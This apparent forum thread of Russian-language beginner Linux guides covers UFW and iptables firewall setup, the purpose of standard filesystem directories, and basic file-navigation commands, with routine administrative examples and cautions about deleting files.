    sudo ufw reset
    

    Подтвердите. Внимание — все правила удалятся!

    Логирование UFW

    Включить логирование:

    sudo ufw logging on
    

    Отключить:

    sudo ufw logging off
    

    Просмотреть логи:

    sudo tail -f /var/log/ufw.log
    

    Логи обновляются в реальном времени.

    Практический сценарий: настройка веб-сервера

    Представим, вам нужен веб-сервер с SSH-доступом. Вот как его настроить:

    # Добавляем правило для SSH (ОБЯЗАТЕЛЬНО ПЕРВЫМ!)
    sudo ufw allow 22/tcp comment "SSH access"
    
    # Включаем firewall
    sudo ufw enable
    
    # Добавляем HTTP
    sudo ufw allow 80/tcp comment "HTTP"
    
    # Добавляем HTTPS
    sudo ufw allow 443/tcp comment "HTTPS"
    
    # Проверяем результат
    sudo ufw status numbered
    

    Вывод:

         To                         Action      From
         --                         ------      ----
    [ 1] 22/tcp                     ALLOW IN    Anywhere
    [ 2] 80/tcp                     ALLOW IN    Anywhere
    [ 3] 443/tcp                     ALLOW IN    Anywhere
    

    Всё остальное блокируется автоматически!

    Хотим запретить HTTP (оставить только HTTPS):

    sudo ufw delete allow 80/tcp
    

    Результат:

         To                         Action      From
         --                         ------      ----
    [ 1] 22/tcp                     ALLOW IN    Anywhere
    [ 2] 443/tcp                     ALLOW IN    Anywhere
    

    iptables — мощь и сложность

    Если UFW не справляется — нужен iptables. Это база под UFW.

    Просмотр iptables-правил

    Список всех правил в filter-таблице:

    sudo iptables -L -v -n
    

    Флаги:

    • -L — list (показать)
    • -v — verbose (подробно)
    • -n — numeric (показывать IP вместо имён хостов, быстрее)

    Вывод:

    Chain INPUT (policy ACCEPT)
    target     prot opt source               destination
    ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:22
    ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:80
    
    Chain FORWARD (policy ACCEPT)
    ...
    
    Chain OUTPUT (policy ACCEPT)
    ...
    

    Список с номерами строк (для удаления):

    sudo iptables -L -v -n --line-numbers
    

    Просмотреть таблицу NAT:

    sudo iptables -t nat -L -v -n
    

    Просмотреть таблицу mangle:

    sudo iptables -t mangle -L -v -n
    

    Добавление правил в iptables

    Синтаксис:

    sudo iptables -A CHAIN -p PROTOCOL --dport PORT -j ACTION
    

    где:

    • -A CHAIN — добавить в цепь (INPUT, OUTPUT, FORWARD)
    • -p PROTOCOL — протокол (tcp, udp, icmp)
    • --dport PORT — дестинационный порт (куда идёт пакет)
    • -j ACTION — действие (ACCEPT, DROP, REJECT)

    Разрешить входящий SSH (порт 22):

    sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
    

    Разрешить входящий HTTP (порт 80):

    sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
    

    Запретить входящий telnet (порт 23):

    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    

    Разрешить входящий трафик только с конкретного IP:

    sudo iptables -A INPUT -p tcp -s 192.168.1.100 --dport 22 -j ACCEPT
    

    флаг -s — source (источник)

    Разрешить входящий трафик из подсети:

    sudo iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 22 -j ACCEPT
    

    Разрешить исходящий DNS (используется везде для преводл URL в IP):

    sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
    

    Разрешить ответные пакеты для уже установленных соединений:

    sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
    

    флаг -m conntrack — модуль отслеживания соединений
    --ctstate ESTABLISHED,RELATED — пакеты из установленного соединения или связанные с ним

    Это критичное правило для stateful firewall!

    Практическое правило: начальная безопасная конфигурация

    # Разрешить loopback (сам с собой)
    sudo iptables -A INPUT -i lo -j ACCEPT
    sudo iptables -A OUTPUT -o lo -j ACCEPT
    
    # Разрешить ответные пакеты установленных соединений
    sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
    sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
    
    # Разрешить SSH
    sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
    
    # Разрешить HTTP и HTTPS
    sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
    sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT
    
    # Разрешить DNS (и входящий, и исходящий)
    sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
    sudo iptables -A INPUT -p udp --sport 53 -j ACCEPT
    
    # Заблокировать всё остальное (по умолчанию)
    sudo iptables -P INPUT DROP
    sudo iptables -P FORWARD DROP
    sudo iptables -P OUTPUT ACCEPT
    

    Последние три строки — политики по умолчанию. -P — set policy.

    Вставка и удаление правил в iptables

    Вставить в начало цепи (проверится первым):

    sudo iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT
    

    флаг -I вместо -A; 1 — позиция

    Удалить правило по номеру:

    sudo iptables -L -v -n --line-numbers  # сначала смотрим номера
    sudo iptables -D INPUT 3  # удаляем 3-е правило из INPUT
    

    флаг -D — delete

    Удалить правило по полной спецификации:

    sudo iptables -D INPUT -p tcp --dport 22 -j ACCEPT
    

    Сохранение iptables-правил

    Важно! Правила iptables хранятся в памяти. При перезагрузке они теряются!

    Сохранить текущие правила:

    sudo iptables-save > /etc/iptables/rules.v4
    

    Загрузить правила при загрузке (Ubuntu/Debian):
    Установите пакет iptables-persistent:

    sudo apt-get install iptables-persistent
    

    Во время установки вас спросят, сохранять ли текущие правила. Выберите “Yes”.

    Правила автоматически загружатся при загрузке.

    Вручную загрузить правила:

    sudo iptables-restore < /etc/iptables/rules.v4
    

    UFW vs iptables — что выбрать?

    Задача UFW iptables
    Базовая фильтрация на сервере ✅ Используй это ❌ Слишком сложно
    Простые правила для SSH, HTTP, HTTPS ✅ Идеально ❌ Много букв
    Нужна максимальная гибкость ❌ Ограничено ✅ Полный контроль
    Сложное преобразование адресов (NAT) ❌ Нет ✅ Да
    Вы новичок ✅ Начни с этого ❌ Страшно
    Вы опытный администратор ✅ Можно ✅ Предпочтительно

    Практический совет: Начните с UFW. Если потребуется что-то специфичное — UFW позволяет добавлять кастомные iptables-правила параллельно.

    Типичные ошибки и как их избежать

    ❌ Ошибка 1: Включить firewall, забыв добавить SSH

    sudo ufw enable  # ОЙ! SSH не открыт!
    # Теперь не сможете подключиться удалённо...
    

    ✅ Решение: Всегда первым правилом добавляйте SSH:

    sudo ufw allow 22
    sudo ufw enable
    

    ❌ Ошибка 2: Неправильный порядок правил

    sudo ufw allow from 192.168.1.0/24 to any port 22
    sudo ufw deny from 192.168.1.50 to any port 22
    

    IP 192.168.1.50 будет разрешен (первое правило срабатывает).

    ✅ Решение: Вставляйте более специфичные правила в начало:

    sudo ufw insert 1 deny from 192.168.1.50 to any port 22
    

    ❌ Ошибка 3: Забыть указать протокол

    sudo ufw allow 22  # Разрешит ТАК И ДРУГОЙ, и UDP и TCP
    

    Иногда нужен конкретный:

    sudo ufw allow 22/tcp
    

    ❌ Ошибка 4: Забыть о IPv6

    UFW автоматически добавляет правила для IPv6 (v6), но если отключите IPv6 в системе, сообщите UFW:

    sudo nano /etc/default/ufw
    # Найдите строку IPV6=yes, измените на no
    sudo ufw reload
    

    Полезные команды

    Проверить, какие приложения слушают какие порты:

    sudo netstat -tlnp
    # или более современно:
    sudo ss -tlnp
    

    Вывод покажет:

    LISTEN     0      128                    0.0.0.0:22                 0.0.0.0:*                   users:(("sshd",pid=1234,fd=3))
    LISTEN     0      128                    0.0.0.0:80                 0.0.0.0:*                   users:(("nginx",pid=5678,fd=4))
    

    Проверить логи UFW:

    sudo tail -50 /var/log/ufw.log
    

    Проверить статус сервиса UFW:

    sudo systemctl status ufw
    

    Перезагрузить правила UFW (без перезагрузки):

    sudo ufw reload
    

    Итого: пошаговая инструкция для новичка

    Шаг 1: Добавить SSH (ОБЯЗАТЕЛЬНО!)

    sudo ufw allow 22/tcp comment "SSH"
    

    Шаг 2: Включить firewall

    sudo ufw enable
    

    Шаг 3: Добавить остальные правила по мере надобности

    sudo ufw allow 80/tcp comment "HTTP"
    sudo ufw allow 443/tcp comment "HTTPS"
    

    Шаг 4: Проверить статус

    sudo ufw status verbose
    

    Шаг 5: Просмотреть логи, если что-то работает неправильно

    sudo tail -f /var/log/ufw.log
    

    Шаг 6: Если что-то сломалось — отключить

    sudo ufw disable
    

    После разбора проблемы включить обратно.

    Полезные источники для дальшейшего изучения

    • Официальная документация UFW: https://help.ubuntu.com/community/UFW
    • ArchWiki про iptables: https://wiki.archlinux.org/title/Iptables
    • man-страницы (в терминале): man ufw, man iptables

    0 0 1 Ответить
  • MugiwaraM
    Mugiwara
    Гайд для новичков: структура файлов в Linux

    В Linux все — это файлы. Понимание структуры файловой системы критично для системного администратора, разработчика и даже обычного пользователя. Это позволит вам:

    • Находить нужные программы и конфигурации
    • Правильно устанавливать ПО
    • Разбираться в ошибках и логах
    • Не случайно удалить что-то важное
    • Безопасно работать с системой

    Корневой каталог (/)

    Linux использует иерархическую структуру, начинающуюся с единственного корня — /. Это отличие от Windows, где несколько дисков (C:, D:) с собственными корнями.

    ls /
    

    Вы увидите примерно такое:

    bin    boot   dev    etc    home   lib    media  mnt    opt    proc   root   run    sbin   srv    sys    tmp    usr    var
    

    Каждый из этих каталогов имеет строго определённое предназначение. Давайте разберёмся в каждом.

    Основные директории

    /bin — исполняемые файлы (бинарники) для пользователей

    Предназначение: команды, необходимые всем пользователям системы для базовой работы.

    Примеры команд:

    ls /bin
    
    # Вы увидите:
    # bash  cat  chmod  cp  date  echo  grep  kill  ln  ls  mkdir  more  mv  ps  pwd  rm  sed  sh  sort  tar  touch  uname
    

    Примеры использования:

    # Эти команды находятся в /bin:
    ls /home                    # программа ls
    cp file1.txt file2.txt      # программа cp
    mkdir new_folder            # программа mkdir
    cat file.txt                # программа cat
    

    Почему это нужно: Если система не загружается в GUI, вы сможете загрузиться в минималистичный режим и использовать эти команды для восстановления.

    /sbin — системные команды (super user binary)

    Предназначение: команды для администратора (root), необходимые для управления системой.

    Примеры команд:

    ls /sbin
    
    # Вы увидите команды, требующие прав администратора:
    # ifconfig  iptables  fdisk  mkfs  mount  reboot  shutdown  useradd  usermod  visudo
    

    Примеры использования:

    # Команды, требующие sudo:
    sudo shutdown -h now        # выключить компьютер
    sudo reboot                 # перезагрузка
    sudo fdisk -l              # просмотр дисков
    sudo useradd newuser       # создать пользователя
    

    Почему это нужно: Система разделяет «обычные» и «админские» команды для безопасности. Обычный пользователь не должен случайно выключить сервер.

    /home — домашние директории пользователей

    Предназначение: личные файлы каждого пользователя системы.

    Структура:

    /home/
    ├── alice/
    │   ├── Documents/
    │   ├── Downloads/
    │   ├── Pictures/
    │   ├── .bashrc
    │   ├── .ssh/
    │   └── projects/
    └── bob/
        ├── Documents/
        ├── .bashrc
        └── work/
    

    Примеры работы:

    # Кто я?
    whoami
    # alice
    
    # Где моя домашняя директория?
    pwd
    # /home/alice
    
    # Или сокращённо через переменную:
    echo $HOME
    # /home/alice
    
    # Символ ~ представляет домашнюю директорию:
    cd ~                        # перейти в /home/alice
    cd ~/Documents              # перейти в /home/alice/Documents
    

    Важные скрытые файлы (начинаются с точки):

    # Показать скрытые файлы:
    ls -la ~
    
    # Вы увидите:
    # .bashrc          — конфигурация bash-шелла
    # .bash_history    — история команд
    # .ssh/            — SSH-ключи для доступа на серверы
    # .gitconfig       — конфигурация Git
    # .config/         — конфигурации приложений
    

    Почему это нужно: Каждый пользователь изолирован друг от друга. Ваши файлы в /home/alice не видны пользователю bob.

    /root — домашняя директория администратора

    Предназначение: домашняя папка пользователя root (администратора).

    # Если вы root:
    pwd
    # /root
    
    # Если вы обычный пользователь, вы не можете туда заходить:
    ls /root
    # ls: cannot open directory '/root': Permission denied
    
    # Но под sudo сможете:
    sudo ls /root
    

    Почему это нужно: root — это особый пользователь с полными правами. Его файлы держат отдельно от /home.

    /etc — конфигурационные файлы

    Предназначение: конфигурации системы и приложений. Это текстовые файлы, которые управляют поведением программ и системы.

    Примеры конфигов:

    ls /etc | head -20
    
    # Вы увидите:
    # bash.bashrc              — конфиги bash для всех пользователей
    # fstab                    — какие диски монтировать при загрузке
    # hostname                 — имя компьютера
    # hosts                    — локальная таблица DNS
    # passwd                   — данные пользователей
    # shadow                   — хэши паролей (только для root)
    # ssh/                     — конфиги SSH-сервера
    # nginx/                   — конфиги веб-сервера nginx
    # postgresql/              — конфиги PostgreSQL
    # cron.d/                  — расписание автоматических задач
    

    Примеры работы:

    # Посмотреть имя компьютера:
    cat /etc/hostname
    # mycomputer
    
    # Посмотреть таблицу DNS:
    cat /etc/hosts
    # 127.0.0.1       localhost
    # ::1             localhost
    # 192.168.1.100   mycomputer
    
    # Посмотреть данные пользователей (без паролей):
    cat /etc/passwd
    # root:x:0:0:root:/root:/bin/bash
    # postgres:x:116:120:PostgreSQL administrator:/var/lib/postgresql:/bin/bash
    # alice:x:1000:1000:Alice User:/home/alice:/bin/bash
    
    # Посмотреть, какие диски монтированы:
    cat /etc/fstab
    # UUID=abc123  /           ext4  defaults  0 0
    # UUID=def456  /boot       ext4  defaults  0 0
    # UUID=ghi789  /home       ext4  defaults  0 0
    

    Конфигурирование сервисов:

    # Конфиг PostgreSQL:
    cat /etc/postgresql/15/main/postgresql.conf | grep max_connections
    # max_connections = 100
    
    # Конфиг SSH-сервера:
    cat /etc/ssh/sshd_config | grep Port
    # Port 22
    
    # Конфиг Nginx:
    cat /etc/nginx/nginx.conf
    

    Почему это нужно: Если программа работает неправильно, ответ часто находится в /etc. Например, если веб-сайт не открывается, проверьте конфиг nginx в /etc/nginx/.

    /var — переменные данные (logs, cache, databases)

    Предназначение: данные, которые меняются во время работы системы: логи, кэши, очереди писем, временные базы данных.

    Структура:

    ls /var
    
    # Основные директории:
    # log/       — логи приложений
    # cache/     — кэшированные данные
    # tmp/       — временные файлы
    # spool/     — очереди (писем, заданий на печать)
    # lib/       — данные баз данных (PostgreSQL, MySQL)
    # run/       — информация о запущенных процессах (PID-файлы)
    

    Примеры логов:

    # Логи системы:
    sudo tail -f /var/log/syslog              # основной системный лог (Ubuntu/Debian)
    sudo tail -f /var/log/messages            # основной системный лог (RHEL/CentOS/Fedora)
    
    # Логи Nginx:
    sudo tail -f /var/log/nginx/access.log    # кто заходил на сайт
    sudo tail -f /var/log/nginx/error.log     # ошибки веб-сервера
    
    # Логи PostgreSQL:
    sudo tail -f /var/log/postgresql/postgresql.log
    
    # Логи SSH (попытки входа):
    sudo tail -f /var/log/auth.log            # попытки входа (Ubuntu/Debian)
    sudo tail -f /var/log/secure              # попытки входа (Fedora/CentOS)
    

    Работа с логами:

    # Посмотреть последние 20 строк:
    sudo tail -n 20 /var/log/nginx/error.log
    
    # Смотреть логи в реальном времени:
    sudo tail -f /var/log/nginx/access.log
    
    # Найти ошибки за последний час:
    sudo grep "error" /var/log/nginx/error.log | tail -50
    
    # Посчитать неудачные попытки SSH за день:
    sudo grep "Failed password" /var/log/auth.log | wc -l
    

    Данные приложений:

    # Где хранит данные PostgreSQL:
    ls -la /var/lib/postgresql/
    
    # Где хранит кэш приложений:
    ls -la /var/cache/
    
    # Где находятся PID-файлы запущенных сервисов:
    ls -la /var/run/
    # или
    ls -la /run/
    

    Почему это нужно: Когда что-то ломается, вы идёте в /var/log и читаете, что произошло. Свободное место на диске часто занимают старые логи в /var/log.

    /usr — программы и библиотеки для пользователей

    Предназначение: большинство установленных программ, библиотек и документации.

    Структура:

    ls /usr
    
    # Основные директории:
    # bin/       — исполняемые файлы программ
    # sbin/      — системные команды (требуют права администратора)
    # lib/       — библиотеки, необходимые программам
    # include/   — заголовочные файлы для разработчиков
    # share/     — данные, не зависящие от архитектуры (документация, иконки)
    # local/     — программы, установленные вручную
    

    Примеры:

    # Где находится Python:
    which python3
    # /usr/bin/python3
    
    # Где находится Node.js:
    which node
    # /usr/bin/node
    
    # Где находятся библиотеки Node.js:
    ls /usr/lib/node_modules/
    # npm  @angular  @types  webpack  ...
    
    # Где находятся библиотеки C:
    ls /usr/lib/x86_64-linux-gnu/ | head
    # libc.so.6  libpthread.so.0  libssl.so.1.1  ...
    
    # Где находится документация:
    ls /usr/share/doc/ | head
    # adduser  apt  base-files  bash  curl  git  ...
    
    # Программы, установленные локально (вручную):
    ls /usr/local/bin/
    

    Почему это нужно: Когда вы устанавливаете программу через apt или yum, она идёт в /usr. Программы, которые вы компилируете сами, обычно идут в /usr/local.

    /lib и /lib64 — системные библиотеки

    Предназначение: критически важные библиотеки, необходимые для работы системы и программ из /bin и /sbin.

    # Посмотреть содержимое:
    ls /lib | head
    # libc.so.6  libc-2.31.so  libm.so.6  libpthread.so.0  ...
    
    # Это динамические библиотеки — они загружаются программами во время запуска
    

    Почему это нужно: Это стандартная C-библиотека и другие критические компоненты. Без них система не будет работать.

    /tmp — временные файлы

    Предназначение: временные файлы, которые приложения и пользователи создают во время работы.

    # Создать временный файл:
    echo "temporary data" > /tmp/myfile.txt
    
    # Посмотреть:
    cat /tmp/myfile.txt
    # temporary data
    
    # Очистить /tmp (обычно происходит при перезагрузке):
    sudo rm -rf /tmp/*
    

    Важно: файлы в /tmp часто удаляются при перезагрузке. Не сохраняйте там важные данные.

    Почему это нужно: Когда установщик программы или скрипт нужно что-то распаковать, он использует /tmp.

    /dev — устройства (диски, USB, консоли)

    Предназначение: специальные файлы, которые представляют физические устройства.

    # Посмотреть содержимое:
    ls /dev | head
    
    # Основные устройства:
    # sda, sdb       — жёсткие диски
    # sda1, sda2     — разделы на дисках
    # null           — чёрная дыра (всё, что туда пишут, удаляется)
    # zero           — источник нулевых байт
    # urandom        — источник случайных чисел
    # tty            — текущая консоль пользователя
    # pts/0, pts/1   — виртуальные терминалы (при SSH)
    

    Примеры использования:

    # Посмотреть все диски:
    lsblk
    # NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
    # sda      8:0    0   500G  0 disk
    # ├─sda1   8:1    0   512M  0 part /boot
    # ├─sda2   8:2    0   200G  0 part /
    # └─sda3   8:3    0 299.5G  0 part /home
    
    # Получить случайные числа:
    head -c 100 /dev/urandom | od -An -tx1
    
    # «Удалить» данные (отправить в никуда):
    echo "this will disappear" > /dev/null
    cat /dev/null
    
    # Посмотреть, кто вы (текущий TTY):
    tty
    # /dev/pts/0
    

    Почему это нужно: Если вам нужно отформатировать диск, вы работаете с /dev/sda1, а не с буквой диска, как в Windows.

    /boot — файлы загрузки ядра

    Предназначение: ядро Linux и файлы, необходимые для загрузки системы.

    ls /boot
    
    # Вы увидите:
    # vmlinuz-5.15.0-56-generic    — ядро Linux
    # initrd.img-5.15.0-56-generic — начальный RAM-диск
    # grub/                        — конфиг загрузчика GRUB
    

    Почему это нужно: Если загрузчик сломана, система не загрузится. Это критический раздел.

    /proc и /sys — информация о системе (виртуальные файловые системы)

    Предназначение: информация о запущенных процессах и параметрах ядра.

    Примеры:

    # Информация о процессоре:
    cat /proc/cpuinfo | head -20
    
    # Информация о памяти:
    cat /proc/meminfo
    # MemTotal:        8000000 kB
    # MemFree:         4000000 kB
    # MemAvailable:    5500000 kB
    
    # Информация о конкретном процессе (PID 1234):
    ls /proc/1234/
    # cmdline  environ  fd  maps  mem  status  ...
    
    # Информация о загруженных модулях ядра:
    cat /proc/modules
    
    # Информация об обновления ядра:
    cat /proc/sys/kernel/hostname
    # mycomputer
    

    Почему это нужно: /proc — это способ получить информацию о системе прямо из ядра. Это не физические файлы, а интерфейс к ядру.

    /mnt и /media — точки монтирования

    Предназначение: директории, где вы монтируете (подключаете) диски и USB-накопители.

    # Вставить USB-накопитель и монтировать его:
    sudo mount /dev/sdb1 /mnt/usb
    
    # Теперь содержимое USB доступно в /mnt/usb:
    ls /mnt/usb
    # file1.txt  file2.txt  ...
    
    # Отмонтировать:
    sudo umount /mnt/usb
    

    Почему это нужно: Linux не использует буквы (D:, E:) для дополнительных накопителей. Вместо этого диски монтируются в определённые директории.

    /opt — дополнительные программы

    Предназначение: программы и приложения, установленные вручную или от третьих сторон (не через менеджер пакетов).

    # Примеры:
    ls /opt
    
    # Может быть:
    # google/          — браузер Google Chrome
    # mongodb/         — база данных MongoDB (если установлена вручную)
    # my_app/          — какая-то дополнительная программа
    

    Почему это нужно: Это альтернатива /usr/local для больших приложений.

    /srv — данные сервисов

    Предназначение: данные, которые обслуживают веб-приложения и сервисы.

    # Примеры:
    ls /srv
    
    # Может быть:
    # www/            — содержимое веб-сайтов
    # ftp/            — файлы FTP-сервера
    # git/            — Git-репозитории
    

    Почему это нужно: Если вы хостите веб-сайт, его файлы могут находиться в /srv/www.

    Полная иерархия в одной таблице

    Директория Предназначение Примеры
    / Корневая директория —
    /bin Команды для всех ls, cp, bash, cat
    /sbin Команды для администратора shutdown, reboot, fdisk
    /home Домашние папки пользователей /home/alice, /home/bob
    /root Домашняя папка root конфиги root
    /etc Конфигурации систем и приложений nginx, ssh, postgresql, fstab
    /var Переменные данные логи, кэши, базы данных
    /usr Программы и библиотеки пользователей python, node, npm, man-страницы
    /lib Системные библиотеки libc, libpthread
    /tmp Временные файлы временные данные приложений
    /dev Файлы устройств sda (диски), tty (консоли)
    /boot Файлы загрузки ядро Linux, GRUB
    /proc Информация о процессах информация от ядра
    /sys Информация о системе и ядре параметры ядра
    /mnt Точки монтирования USB, внешние диски
    /media Автоматические монтирования USB (автомонтирование)
    /opt Дополнительные программы proprietary applications
    /srv Данные сервисов содержимое веб-сайтов

    Практические примеры

    Пример 1: Установка программы и её поиск

    # Установить Git:
    sudo apt install git    # или sudo yum install git
    
    # Где он находится:
    which git
    # /usr/bin/git
    
    # Где находится конфиг Git:
    cat ~/.gitconfig        # в домашней директории
    
    # Где находятся скрытые настройки Git:
    ls ~/.config/git/
    

    Пример 2: Разбираемся с ошибкой веб-сервера

    # Nginx не запускается. Проверяем конфиг:
    sudo nginx -t
    # nginx: configuration syntax is ok
    
    # Читаем логи ошибок:
    sudo tail -f /var/log/nginx/error.log
    # 2024/01/09 22:30:15 [emerg] 12345#0: bind() to 0.0.0.0:80 failed
    # — Не может занять порт 80. Что-то уже его использует.
    
    # Проверяем, что слушает на 80:
    sudo netstat -tlnp | grep :80
    # или
    sudo ss -tlnp | grep :80
    

    Пример 3: Освобождаем место на диске

    # Диск переполнен. Где больше всего файлов?
    du -sh /*
    # 10G     /home
    # 5.2G    /var
    # 3.1G    /usr
    # 1.5G    /opt
    
    # /var занимает много места — логи?
    du -sh /var/*
    # 4.5G    /var/log
    
    # Какие логи самые большие:
    du -sh /var/log/* | sort -hr | head
    # 3.2G    /var/log/nginx
    # 1.0G    /var/log/postgresql
    
    # Очистить старые логи Nginx (оставляем последние 100 MB):
    sudo sh -c 'tail -c 100M /var/log/nginx/access.log > /var/log/nginx/access.log.tmp && mv /var/log/nginx/access.log.tmp /var/log/nginx/access.log'
    
    # Или использовать logrotate (встроенный инструмент):
    sudo logrotate -f /etc/logrotate.d/nginx
    

    Пример 4: Работа с конфигурацией SSH

    # Где находятся SSH-ключи:
    ls ~/.ssh/
    # authorized_keys   — какие ключи может использовать другие пользователи для входа
    # id_rsa            — ваш приватный ключ
    # id_rsa.pub        — ваш публичный ключ
    # config            — конфиг SSH-клиента
    # known_hosts       — ключи серверов, к которым вы подключались
    
    # Конфиг SSH-сервера:
    sudo cat /etc/ssh/sshd_config | grep -E "^[^#]" | head
    # Port 22
    # PermitRootLogin no
    # PasswordAuthentication no
    # PubkeyAuthentication yes
    
    # Перезагрузить SSH-сервер после изменения конфига:
    sudo systemctl restart sshd
    

    Пример 5: Проблема с монтированием диска

    # Хотим автоматически монтировать диск при загрузке:
    # Сначала узнаём UUID:
    sudo blkid
    # /dev/sda1: UUID="abcd1234-5678-90ef-ghij-klmnopqrstuv" TYPE="ext4"
    
    # Редактируем /etc/fstab:
    sudo nano /etc/fstab
    
    # Добавляем строку:
    # UUID=abcd1234-5678-90ef-ghij-klmnopqrstuv  /mnt/storage  ext4  defaults  0  2
    
    # Проверяем:
    mount -a        # смонтировать всё, что описано в fstab
    df -h           # посмотреть смонтированные диски
    

    Безопасность: что нельзя трогать

    Никогда не удаляйте и не изменяйте:

    • /bin, /sbin, /lib — система не будет работать
    • /boot — система не загрузится
    • /dev — не будет доступа к диску и периферии
    • /etc/passwd, /etc/shadow — потеряете доступ к системе
    • /sys, /proc — это виртуальные файловые системы, они только для чтения

    Будьте осторожны с:

    • /etc — изменения в конфигах могут сломать сервисы
    • /var/lib — данные баз данных
    • /home — персональные данные пользователей

    Используйте резервные копии перед изменением:

    # Перед редактированием конфига:
    sudo cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.backup
    
    # Если что-то сломалось:
    sudo mv /etc/nginx/nginx.conf.backup /etc/nginx/nginx.conf
    

    Полезные команды для исследования

    # Показать полную иерархию директорий:
    tree /home -L 2
    
    # Показать дисковое пространство по директориям:
    du -sh /home/* /var/* /usr/*
    
    # Показать все смонтированные файловые системы:
    df -h
    
    # Найти все файлы больше 100 MB:
    find / -type f -size +100M 2>/dev/null
    
    # Найти все файлы, изменённые за последний день:
    find /home -type f -mtime -1
    
    # Показать размер каждой директории:
    du -sh /home /var /usr /opt
    
    # Посчитать количество файлов в директории:
    find /home -type f | wc -l
    

    Заключение

    Структура файлов в Linux логична и согласована:

    1. Системные команды — /bin и /sbin
    2. Пользовательские данные — /home
    3. Конфигурации — /etc
    4. Логи и переменные данные — /var
    5. Программы и библиотеки — /usr
    6. Временные файлы — /tmp
    7. Оборудование — /dev

    Постепенно, при работе с Linux, вы автоматически запомните, где искать нужные вам файлы. Главное — понимать логику расположения, а не заучивать наизусть.


    0 0 1 Ответить
  • MugiwaraM
    Mugiwara
    Гайд по самым важным командам Linux/Unix для новичков

    Linux и Unix имеют философию “всё есть файл” и “делай одно, но делай хорошо”. Команды — это ваш инструмент для управления системой через терминал. В этом гайде разберём самые полезные команды, которые встречаются в 90% работы.


    1. Навигация по файловой системе

    pwd (Print Working Directory)

    Что это: выводит полный путь текущей директории

    Зачем нужно: понять, где вы находитесь в файловой системе

    pwd
    /home/user/Documents
    

    Вы в папке Documents, которая находится в /home/user.


    ls (List)

    Что это: выводит список файлов и папок в текущей директории

    Зачем нужно: видеть содержимое папки

    Базовое использование:

    ls
    Desktop  Documents  Downloads  Pictures
    

    Полезные флаги:

    # -l показывает подробную информацию (права доступа, размер, дату)
    ls -l
    drwxr-xr-x  5 user user 4096 Jan  9 10:30 Desktop
    -rw-r--r--  1 user user 2048 Jan  8 15:42 document.txt
    
    # -a показывает скрытые файлы (начинаются с точки)
    ls -a
    .  ..  .config  .ssh  Desktop  document.txt
    
    # -h показывает размеры в понятном формате (MB, GB)
    ls -lh
    -rw-r--r--  1 user user 2.5M Jan  8 15:42 video.mp4
    
    # Комбинирование флагов
    ls -lah
    

    Как это работает: ls читает содержимое директории из файловой системы и выводит список. Флаги изменяют формат вывода.


    cd (Change Directory)

    Что это: меняет текущую директорию (переходит в другую папку)

    Зачем нужно: перемещаться по файловой системе

    # Переход в конкретную папку
    cd /home/user/Documents
    
    # Переход в домашнюю папку пользователя
    cd ~
    # или просто
    cd
    
    # Переход на уровень выше
    cd ..
    
    # Переход в предыдущую директорию
    cd -
    
    # Переход в корневую директорию
    cd /
    

    Как это работает: shell (интерпретатор команд) изменяет текущее рабочее пространство на указанную директорию. Все последующие команды будут работать относительно этой папки.


    2. Работа с файлами и папками

    mkdir (Make Directory)

    Что это: создаёт новую папку

    Зачем нужно: организовать файлы по папкам

    # Создание одной папки
    mkdir myproject
    
    # Создание вложенной структуры (флаг -p)
    mkdir -p /home/user/projects/myapp/src/components
    

    Как это работает: mkdir вызывает системный вызов для создания директории в файловой системе.


    touch

    Что это: создаёт пустой файл или обновляет время модификации существующего

    Зачем нужно: быстро создать файл или обновить его “дату последнего изменения”

    # Создание пустого файла
    touch index.html
    
    # Создание нескольких файлов сразу
    touch file1.txt file2.txt file3.txt
    
    # Обновление времени модификации (полезно для вспомогательных действий)
    touch existing_file.txt
    

    cp (Copy)

    Что это: копирует файлы или папки

    Зачем нужно: создать копию файла или резервную копию

    # Копирование файла
    cp document.txt document_backup.txt
    
    # Копирование файла в другую папку
    cp document.txt /home/user/backup/
    
    # Копирование папки со всем содержимым (флаг -r)
    cp -r myproject myproject_backup
    
    # Копирование с информацией о прогрессе (флаг -v)
    cp -v large_file.iso /backup/
    'large_file.iso' -> '/backup/large_file.iso'
    

    Как это работает: cp читает содержимое файла-источника и записывает его в новый файл-назначение.


    mv (Move)

    Что это: перемещает или переименовывает файлы и папки

    Зачем нужно: перенести файл в другую папку или переименовать его

    # Переименование файла
    mv old_name.txt new_name.txt
    
    # Перемещение файла в другую папку
    mv document.txt /home/user/Documents/
    
    # Перемещение и переименование одновременно
    mv /home/user/Downloads/file.pdf /home/user/Documents/important_file.pdf
    
    # Перемещение папки
    mv old_project_folder new_project_folder
    

    Как это работает: mv изменяет указатель на файл в файловой системе, поэтому это очень быстро даже для больших файлов.


    rm (Remove)

    Что это: удаляет файлы или папки

    Зачем нужно: удалить ненужные файлы

    # Удаление файла
    rm temporary_file.txt
    
    # Удаление папки со всем содержимым (флаг -r)
    rm -r old_project/
    
    # Удаление с подтверждением перед каждым файлом (флаг -i)
    rm -i *.log
    remove file1.log? y
    remove file2.log? n
    
    # Принудительное удаление без подтверждения (флаг -f)
    rm -f file.txt
    
    # Комбинирование флагов
    rm -rf /path/to/folder
    

    ⚠️ Важно: Linux не имеет “корзины” — удаленные файлы очень сложно восстановить. Будьте осторожны с rm -rf.

    Как это работает: rm удаляет запись о файле из директории и помечает место на диске как свободное. Данные еще какое-то время остаются на диске, но получить к ним доступ становится очень сложно.


    3. Просмотр содержимого файлов

    cat (Concatenate)

    Что это: выводит полное содержимое файла

    Зачем нужно: быстро посмотреть содержимое небольших текстовых файлов

